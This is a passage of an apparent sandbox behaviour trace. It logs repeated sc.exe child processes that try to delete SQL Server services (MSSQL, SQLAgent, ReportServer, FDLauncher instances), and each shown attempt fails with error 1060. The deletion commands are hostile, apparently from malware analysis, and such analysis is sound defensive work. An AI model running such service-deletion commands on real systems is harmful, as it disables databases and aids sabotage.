(_Code=1060) Thread: id = 65 os_tid = 0x704 Process: id = "33" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f465000" os_pid = "0x36c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"SQLAgent$WOLTERSKLUWER\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 66 os_tid = 0xb70 [0071.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f7b0 | out: lpSystemTimeAsFileTime=0x22f7b0*(dwLowDateTime=0x429c3f50, dwHighDateTime=0x1d62774)) [0071.827] GetCurrentProcessId () returned 0x36c [0071.827] GetCurrentThreadId () returned 0xb70 [0071.827] GetTickCount () returned 0x1149454 [0071.827] QueryPerformanceCounter (in: lpPerformanceCount=0x22f7b8 | out: lpPerformanceCount=0x22f7b8*=19150282463) returned 1 [0071.829] GetModuleHandleW (lpModuleName=0x0) returned 0xfff50000 [0071.829] __set_app_type (_Type=0x1) [0071.829] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff57228) returned 0x0 [0071.829] __wgetmainargs (in: _Argc=0xfff5b604, _Argv=0xfff5b610, _Env=0xfff5b608, _DoWildCard=0, _StartInfo=0xfff5b050 | out: _Argc=0xfff5b604, _Argv=0xfff5b610, _Env=0xfff5b608) returned 0 [0071.830] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.832] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.832] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.832] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.832] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.833] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.833] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.833] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.833] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.833] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.833] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.833] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.833] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.833] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.833] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.833] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.833] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.833] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.833] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.833] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.833] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.833] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.834] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3a43f0 [0071.838] OpenServiceW (hSCManager=0x3a43f0, lpServiceName="SQLAgent$WOLTERSKLUWER", dwDesiredAccess=0x10000) returned 0x0 [0071.838] GetLastError () returned 0x424 [0071.839] _itow (in: _Dest=0x424, _Radix=2291224 | out: _Dest=0x424) returned="1060" [0071.839] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff5b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.841] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f5d0, nSize=0x2, Arguments=0x22f600 | out: lpBuffer="跐:") returned 0x62 [0071.841] GetFileType (hFile=0x120) returned 0x3 [0071.841] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3a8eb0 [0071.841] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3a8eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n:", lpUsedDefaultChar=0x0) returned 98 [0071.841] WriteFile (in: hFile=0x120, lpBuffer=0x3a8eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f578, lpOverlapped=0x0 | out: lpBuffer=0x3a8eb0*, lpNumberOfBytesWritten=0x22f578*=0x62, lpOverlapped=0x0) returned 1 [0071.841] LocalFree (hMem=0x3a8eb0) returned 0x0 [0071.841] LocalFree (hMem=0x3a8dd0) returned 0x0 [0071.841] LocalFree (hMem=0x0) returned 0x0 [0071.842] CloseServiceHandle (hSCObject=0x3a43f0) returned 1 [0071.843] exit (_Code=1060) Thread: id = 67 os_tid = 0xa98 Process: id = "34" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3dc6a000" os_pid = "0x694" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"MSSQLFDLauncher$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 68 os_tid = 0x534 [0071.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfed0 | out: lpSystemTimeAsFileTime=0x1cfed0*(dwLowDateTime=0x42ace8f0, dwHighDateTime=0x1d62774)) [0071.942] GetCurrentProcessId () returned 0x694 [0071.942] GetCurrentThreadId () returned 0x534 [0071.943] GetTickCount () returned 0x11494c1 [0071.943] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfed8 | out: lpPerformanceCount=0x1cfed8*=19161821626) returned 1 [0071.943] GetModuleHandleW (lpModuleName=0x0) returned 0xff250000 [0071.943] __set_app_type (_Type=0x1) [0071.943] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff257228) returned 0x0 [0071.944] __wgetmainargs (in: _Argc=0xff25b604, _Argv=0xff25b610, _Env=0xff25b608, _DoWildCard=0, _StartInfo=0xff25b050 | out: _Argc=0xff25b604, _Argv=0xff25b610, _Env=0xff25b608) returned 0 [0071.945] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.947] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.947] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.947] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.947] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.947] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.947] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.947] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.947] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.947] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.947] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.947] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.947] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.947] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.947] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.948] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.948] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.948] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.948] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.948] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.948] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.948] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.948] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.948] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.948] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3a43f0 [0071.954] OpenServiceW (hSCManager=0x3a43f0, lpServiceName="MSSQLFDLauncher$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0071.955] GetLastError () returned 0x424 [0071.955] _itow (in: _Dest=0x424, _Radix=1899832 | out: _Dest=0x424) returned="1060" [0071.955] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff25b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.957] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x1cfcf0, nSize=0x2, Arguments=0x1cfd20 | out: lpBuffer="跐:") returned 0x62 [0071.958] GetFileType (hFile=0x120) returned 0x3 [0071.958] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3a8eb0 [0071.958] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3a8eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n:", lpUsedDefaultChar=0x0) returned 98 [0071.958] WriteFile (in: hFile=0x120, lpBuffer=0x3a8eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x1cfc98, lpOverlapped=0x0 | out: lpBuffer=0x3a8eb0*, lpNumberOfBytesWritten=0x1cfc98*=0x62, lpOverlapped=0x0) returned 1 [0071.958] LocalFree (hMem=0x3a8eb0) returned 0x0 [0071.958] LocalFree (hMem=0x3a8dd0) returned 0x0 [0071.958] LocalFree (hMem=0x0) returned 0x0 [0071.958] CloseServiceHandle (hSCObject=0x3a43f0) returned 1 [0071.965] exit (_Code=1060) Thread: id = 69 os_tid = 0xb0 Process: id = "35" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3ea6f000" os_pid = "0xb5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"MSSQL$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 70 os_tid = 0xb94 [0072.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fdf0 | out: lpSystemTimeAsFileTime=0x28fdf0*(dwLowDateTime=0x42bd9290, dwHighDateTime=0x1d62774)) [0072.043] GetCurrentProcessId () returned 0xb5c [0072.043] GetCurrentThreadId () returned 0xb94 [0072.043] GetTickCount () returned 0x114952e [0072.043] QueryPerformanceCounter (in: lpPerformanceCount=0x28fdf8 | out: lpPerformanceCount=0x28fdf8*=19171897626) returned 1 [0072.045] GetModuleHandleW (lpModuleName=0x0) returned 0xff640000 [0072.045] __set_app_type (_Type=0x1) [0072.045] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff647228) returned 0x0 [0072.045] __wgetmainargs (in: _Argc=0xff64b604, _Argv=0xff64b610, _Env=0xff64b608, _DoWildCard=0, _StartInfo=0xff64b050 | out: _Argc=0xff64b604, _Argv=0xff64b610, _Env=0xff64b608) returned 0 [0072.046] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.048] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.048] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.048] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.048] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.048] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.049] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.049] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.049] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.049] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.049] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.049] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.049] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.049] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.049] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.049] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.049] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.049] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.049] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.049] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.049] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.049] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.049] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.049] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3e43d0 [0072.054] OpenServiceW (hSCManager=0x3e43d0, lpServiceName="MSSQL$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0072.054] GetLastError () returned 0x424 [0072.054] _itow (in: _Dest=0x424, _Radix=2686040 | out: _Dest=0x424) returned="1060" [0072.054] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff64b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.056] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28fc10, nSize=0x2, Arguments=0x28fc40 | out: lpBuffer="趰>") returned 0x62 [0072.057] GetFileType (hFile=0x120) returned 0x3 [0072.057] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x3e8e90 [0072.057] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x3e8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n>", lpUsedDefaultChar=0x0) returned 98 [0072.057] WriteFile (in: hFile=0x120, lpBuffer=0x3e8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3e8e90*, lpNumberOfBytesWritten=0x28fbb8*=0x62, lpOverlapped=0x0) returned 1 [0072.057] LocalFree (hMem=0x3e8e90) returned 0x0 [0072.057] LocalFree (hMem=0x3e8db0) returned 0x0 [0072.057] LocalFree (hMem=0x0) returned 0x0 [0072.057] CloseServiceHandle (hSCObject=0x3e43d0) returned 1 [0072.059] exit (_Code=1060) Thread: id = 71 os_tid = 0xb58 Process: id = "36" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e274000" os_pid = "0xb7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"SQLAgent$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0xb8c [0072.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fdf0 | out: lpSystemTimeAsFileTime=0x10fdf0*(dwLowDateTime=0x42c71810, dwHighDateTime=0x1d62774)) [0072.114] GetCurrentProcessId () returned 0xb7c [0072.114] GetCurrentThreadId () returned 0xb8c [0072.114] GetTickCount () returned 0x114956d [0072.114] QueryPerformanceCounter (in: lpPerformanceCount=0x10fdf8 | out: lpPerformanceCount=0x10fdf8*=19178960956) returned 1 [0072.115] GetModuleHandleW (lpModuleName=0x0) returned 0xff5e0000 [0072.115] __set_app_type (_Type=0x1) [0072.115] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff5e7228) returned 0x0 [0072.115] __wgetmainargs (in: _Argc=0xff5eb604, _Argv=0xff5eb610, _Env=0xff5eb608, _DoWildCard=0, _StartInfo=0xff5eb050 | out: _Argc=0xff5eb604, _Argv=0xff5eb610, _Env=0xff5eb608) returned 0 [0072.116] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.118] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.118] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.118] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.118] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.118] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.118] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.118] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.119] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.119] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.119] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.119] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.119] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.119] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.119] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.119] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.119] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.119] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.119] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.119] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.119] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.119] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.119] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.119] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.119] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1343e0 [0072.123] OpenServiceW (hSCManager=0x1343e0, lpServiceName="SQLAgent$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0072.123] GetLastError () returned 0x424 [0072.123] _itow (in: _Dest=0x424, _Radix=1113176 | out: _Dest=0x424) returned="1060" [0072.123] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff5eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.125] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10fc10, nSize=0x2, Arguments=0x10fc40 | out: lpBuffer="跀\x13") returned 0x62 [0072.125] GetFileType (hFile=0x120) returned 0x3 [0072.125] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x138ea0 [0072.125] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x138ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x13", lpUsedDefaultChar=0x0) returned 98 [0072.125] WriteFile (in: hFile=0x120, lpBuffer=0x138ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10fbb8, lpOverlapped=0x0 | out: lpBuffer=0x138ea0*, lpNumberOfBytesWritten=0x10fbb8*=0x62, lpOverlapped=0x0) returned 1 [0072.125] LocalFree (hMem=0x138ea0) returned 0x0 [0072.125] LocalFree (hMem=0x138dc0) returned 0x0 [0072.125] LocalFree (hMem=0x0) returned 0x0 [0072.126] CloseServiceHandle (hSCObject=0x1343e0) returned 1 [0072.127] exit (_Code=1060) Thread: id = 73 os_tid = 0xb68 Process: id = "37" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f679000" os_pid = "0xb6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"ReportServer$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0xb78 [0072.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fbf0 | out: lpSystemTimeAsFileTime=0x24fbf0*(dwLowDateTime=0x42d2fef0, dwHighDateTime=0x1d62774)) [0072.182] GetCurrentProcessId () returned 0xb6c [0072.182] GetCurrentThreadId () returned 0xb78 [0072.182] GetTickCount () returned 0x11495bb [0072.182] QueryPerformanceCounter (in: lpPerformanceCount=0x24fbf8 | out: lpPerformanceCount=0x24fbf8*=19185771823) returned 1 [0072.183] GetModuleHandleW (lpModuleName=0x0) returned 0xffd30000 [0072.183] __set_app_type (_Type=0x1) [0072.183] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd37228) returned 0x0 [0072.183] __wgetmainargs (in: _Argc=0xffd3b604, _Argv=0xffd3b610, _Env=0xffd3b608, _DoWildCard=0, _StartInfo=0xffd3b050 | out: _Argc=0xffd3b604, _Argv=0xffd3b610, _Env=0xffd3b608) returned 0 [0072.184] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.186] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.186] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.186] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.186] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.186] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.186] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.186] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.186] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.186] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.186] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.186] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.186] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.186] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.186] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.186] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.186] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.186] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.186] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.186] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.186] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.186] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.187] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.187] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.187] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.187] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 